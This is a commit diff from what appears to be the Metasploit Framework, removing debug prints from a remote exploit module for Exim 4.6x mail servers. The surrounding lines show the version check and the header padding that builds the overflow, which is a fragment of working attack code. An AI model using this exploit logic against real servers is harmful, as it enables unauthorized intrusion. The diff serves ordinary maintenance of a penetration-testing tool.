remove debug prints

git-svn-id: file:///home/svn/framework3/trunk@11299 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2010-12-11 22:00:34 +00:00
parent 7c6eadc24b
commit 573c639c85
1 changed files with 1 additions and 2 deletions

View File

@ -111,6 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Connecting to #{rhost}:#{rport} ...")
connect
print_status("Server: #{self.banner.strip}")
if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
raise RuntimeError, "Warning: This version of Exim is not exploitable"
@ -209,7 +210,6 @@ class Metasploit3 < Msf::Exploit::Remote
left -= 4 # the two double spaces
first = left / 2
hdr = hdr.slice(0, first - 1) + "\n"
puts hdr.inspect
hdrs << hdr
log_buffer << " " << hdr
@ -218,7 +218,6 @@ class Metasploit3 < Msf::Exploit::Remote
filler = rand_text_alphanumeric(8 * 16)
hdr = "#{header_name}: #{filler}\n"
hdr = hdr.slice(0, second - 1) + "\n"
puts hdr.inspect
end
hdrs << hdr
log_buffer << " " << hdr